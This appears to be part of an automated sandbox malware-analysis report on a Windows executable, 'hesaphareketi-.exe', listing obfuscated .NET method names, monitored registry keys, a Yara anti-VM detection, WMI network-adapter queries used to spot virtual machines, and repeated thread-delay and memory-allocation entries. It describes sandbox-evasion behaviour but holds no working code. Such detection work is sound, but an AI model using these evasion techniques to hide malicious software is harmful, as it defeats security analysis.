Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, qSF0J7DvnxdthJZib5.cs	High entropy of concatenated method names: 'IMuYBx3IaN', 'RGDYUCQXdW', 'tuDYdhUgIM', 'ylwYgPtbfJ', 'ujQYCWxhqM', 'In9YRUTT8k', 'HhpYTRtD2R', 'YMmYP8Jh4D', 'RqZY4weB5J', 'cRjY72POCr'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, HGW7wDaJtlnWFFev73.cs	High entropy of concatenated method names: 'tmfRkuDgAU', 'iprRjYnJOw', 'ioSRVD7Jho', 'B9WRNNTgRU', 'zC4RQ23m15', 'vHWR9tP0yY', 'tMfR6lg7Y0', 'F3nRtGN9sH', 'AZSIu8few6G8M1bqJHa', 'IHop0pfiXYUD4mPcQd8'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, ngaD9fevEcvo0XvIaN.cs	High entropy of concatenated method names: 'E5Bi7giErN', 'SDEi8BqRWc', 'ToString', 'v6diUdA3O4', 'YsCidulyBF', 'z9Kig2gAWm', 'JwBiCaiCR1', 'OtFiRemuuV', 'cPdiTh1qw1', 'sjPiPSt1EO'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, DKDR76B8ckP7Brsx4b.cs	High entropy of concatenated method names: 'zNcEUvK3AK', 'SPLEdtZLbj', 'DCkEgeOYJc', 'Pl3ECY7U8R', 'vQmERpoSf7', 'TClETMMMZW', 'kATEPuBjTQ', 'YDBE4d3qFW', 'HMgE7kIO1K', 'rPAE8LLRhw'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, adXmY1I1Otiab8KBLS.cs	High entropy of concatenated method names: 'OElCwfUSSx', 'R90C9oZhQ9', 'hmGgbe4VMm', 'EmRg13yZiw', 'WQug00cQku', 'gnZgs5Fqe4', 'WYHgA0Eu79', 'IZDgL5PRDi', 'vGlg3ZXJ5Q', 'N9hgWbsROP'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, LHjqx0gXy9y11yjTH21.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JPmJpnWttY', 'yV0JH9urgi', 'ovoJc1cIek', 'eYmJ2uGRV1', 'GfjJqBKtKO', 'lG6JXRKu0X', 'PpBJ5swk1L'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, TwgML5SYjhFRdyKIDi.cs	High entropy of concatenated method names: 'kkYk9WfMAwlrTVa0H7n', 'lCcPX8f9OD2uanXLNc8', 'IBTREwaEKS', 'Ni9ReCGfyP', 'H81RJhwFar', 'kGb59UfrgJR0YMVmpMg', 'doID52fgJUSQ5DrcxB5'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, mDcIsZgfbrOPtql7Els.cs	High entropy of concatenated method names: 'BKlejsZ0Ga', 'tkZevlsogp', 'YcneViUvj3', 'WaNeNZVX1x', 'GEIewQcT6I', 'dTFeQYhwJJ', 'rsfe9YhMa3', 'QRNeOj4DJJ', 'HB5e6AMZ9P', 'bjket1wkgt'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, U4O5F7tCA5mXrp4xJe.cs	High entropy of concatenated method names: 'wrEKO1a6TW', 'FNgK6M0XsX', 'EUbKaElI24', 'cedKDdvIyN', 'fjkK1FP8eZ', 'fIBK0PHWxo', 'kEyKAB5IhS', 'Q5oKLFyZ22', 'dIoKW9Q3bx', 'QjJKS13eJa'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, s7GQtBPueGNviOKVDk.cs	High entropy of concatenated method names: 'kFcgNgsMyW', 'TCRgQDHiim', 'LLygO7DPyJ', 'OlOg6CxLDp', 'b0cglu8M1d', 'mXwguhOIw2', 'KlsgiqGno4', 'lgtgEk0cIh', 'kfdgeFdjNG', 'E3AgJmuXUa'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, EWNefPUpdnnuMF2LDw.cs	High entropy of concatenated method names: 'KFZTjHmjK1', 'vNWTvNmJWK', 'AatTVHgShh', 'WU6TNPt0qi', 'dM9Tw4wp7G', 'FDHTQSDNRy', 'uiqT9mO5tp', 'jFnTOAOQWi', 'sExT6eVm0b', 'TMmTtaa9JC'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, iVtniYN4vZtxR6yDAr.cs	High entropy of concatenated method names: 'T5giMUHlyV', 'bNhiyNpv60', 'mE4EfjJnwQ', 'PcMEhqjYFP', 'Si1iSf9cbq', 'qihixsx6IF', 'SYaiFEi9MC', 'SXKip23eHr', 'qMMiHXSBAP', 'kMkicK7kaE'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, SM5eqqVuTVFO8dvrHH.cs	High entropy of concatenated method names: 'b4GlWeOUKK', 'g2ClxnWkMK', 'z9ulplClFs', 'Ko0lHDi5lq', 'mcZlDgDQ6r', 'J2rlbkNsLu', 'mPLl1WY2wl', 'TP6l0nP8tC', 'JATlsVMUZs', 'pujlAHYG3y'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, bD17TXcjkL7Y9j5QUH.cs	High entropy of concatenated method names: 'Dispose', 'fRShm0UiIO', 'A58rDpLKTZ', 'pmInn2xbag', 'i2whyPfKWt', 'YfHhz796Du', 'ProcessDialogKey', 'UqOrfUvTPv', 'nKNrhUQKL4', 'oknrrHKP5o'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, yQAU6D1JP0QpKGv8yW.cs	High entropy of concatenated method names: 'W3IhTJZOip', 'U4dhPQF6MJ', 'NCIh71DEl5', 'maIh8IOKmy', 'DqGhlQ7a3I', 'hUehuaFgbj', 'SnrUckHxiy698xlyVl', 'hilfigoE2Ban5eNjyn', 'BYhhhIYxWu', 'WvUhY1F3ca'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	High entropy of concatenated method names: 'M5qdpd4Ckb', 'iMudHRG6sc', 'l9ZdcemdGQ', 'aMRd2hwAks', 'kSCdqCJt61', 'ryDdXJtHls', 'ORKd5M6fix', 'vJedMg3dAY', 'QRMdmv0eNS', 'NvtdyQ3Qxv'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, Ye427Es96uSuSHgwDH.cs	High entropy of concatenated method names: 'r2uVYhtjV', 'b0mN7bSSD', 'bjOQYsPG0', 'tFW9WWjv9', 'rsa6XfU57', 'x7VtSDabx', 'k5Clos05llpON64yYN', 'h2PRufxw8vaAXY6vUT', 'tO9ECAqVm', 'myDJA69Us'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, PQLLFTlOCBYNXekLp3.cs	High entropy of concatenated method names: 'Mj0eh271UK', 'YTeeYLjPTq', 'EZVeoT74Do', 'TsoeUcOIS2', 'ryxedE3Yfo', 'BIFeCQ4pS3', 'QIxeR6NXDc', 'krpE5kNt8C', 'FxqEMCMweR', 'yQrEmUkmw8'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, tyMC5KzKNmJ8VxLdVq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'J44eKxZ0WX', 'HVQelpCcj9', 'gE2euphTEc', 'sVdeiJFBjv', 'KGZeE17In6', 'wjweeK5YZ6', 'xfAeJWsjfZ'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, YuuMvnWhOLbeKF1DHk.cs	High entropy of concatenated method names: 'dyFEabo2fD', 'TrJEDTmwCp', 'wnHEbukOiV', 'R1jE1f21Lr', 'LIuEpamc1o', 'F72E0UMSSw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, UcN2tS4TVvhfkkdhvv.cs	High entropy of concatenated method names: 'JykRBJjcUX', 'iKnRdmRBes', 'UZwRC3Mw4f', 'Yg9RT9HTxj', 'nu2RPNxLET', 'niVCqpnHYd', 'JDvCXwHGt9', 'xLwC5PUkTa', 'G8nCMhG8AG', 'J8PCmf4rSk'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, qSF0J7DvnxdthJZib5.cs	High entropy of concatenated method names: 'IMuYBx3IaN', 'RGDYUCQXdW', 'tuDYdhUgIM', 'ylwYgPtbfJ', 'ujQYCWxhqM', 'In9YRUTT8k', 'HhpYTRtD2R', 'YMmYP8Jh4D', 'RqZY4weB5J', 'cRjY72POCr'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, HGW7wDaJtlnWFFev73.cs	High entropy of concatenated method names: 'tmfRkuDgAU', 'iprRjYnJOw', 'ioSRVD7Jho', 'B9WRNNTgRU', 'zC4RQ23m15', 'vHWR9tP0yY', 'tMfR6lg7Y0', 'F3nRtGN9sH', 'AZSIu8few6G8M1bqJHa', 'IHop0pfiXYUD4mPcQd8'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, ngaD9fevEcvo0XvIaN.cs	High entropy of concatenated method names: 'E5Bi7giErN', 'SDEi8BqRWc', 'ToString', 'v6diUdA3O4', 'YsCidulyBF', 'z9Kig2gAWm', 'JwBiCaiCR1', 'OtFiRemuuV', 'cPdiTh1qw1', 'sjPiPSt1EO'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, DKDR76B8ckP7Brsx4b.cs	High entropy of concatenated method names: 'zNcEUvK3AK', 'SPLEdtZLbj', 'DCkEgeOYJc', 'Pl3ECY7U8R', 'vQmERpoSf7', 'TClETMMMZW', 'kATEPuBjTQ', 'YDBE4d3qFW', 'HMgE7kIO1K', 'rPAE8LLRhw'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, adXmY1I1Otiab8KBLS.cs	High entropy of concatenated method names: 'OElCwfUSSx', 'R90C9oZhQ9', 'hmGgbe4VMm', 'EmRg13yZiw', 'WQug00cQku', 'gnZgs5Fqe4', 'WYHgA0Eu79', 'IZDgL5PRDi', 'vGlg3ZXJ5Q', 'N9hgWbsROP'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, LHjqx0gXy9y11yjTH21.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JPmJpnWttY', 'yV0JH9urgi', 'ovoJc1cIek', 'eYmJ2uGRV1', 'GfjJqBKtKO', 'lG6JXRKu0X', 'PpBJ5swk1L'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, TwgML5SYjhFRdyKIDi.cs	High entropy of concatenated method names: 'kkYk9WfMAwlrTVa0H7n', 'lCcPX8f9OD2uanXLNc8', 'IBTREwaEKS', 'Ni9ReCGfyP', 'H81RJhwFar', 'kGb59UfrgJR0YMVmpMg', 'doID52fgJUSQ5DrcxB5'
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, mDcIsZgfbrOPtql7Els.cs	High entropy of concatenated method names: 'BKlejsZ0Ga', 'tkZevlsogp', 'YcneViUvj3', 'WaNeNZVX1x', 'GEIewQcT6I', 'dTFeQYhwJJ', 'rsfe9YhMa3', 'QRNeOj4DJJ', 'HB5e6AMZ9P', 'bjket1wkgt'

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: hesaphareketi-.exe PID: 6832, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\hesaphareketi-.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 7710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 8710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 88C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 98C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598670	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 598014	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597684	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597466	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 595062	Jump to behavior
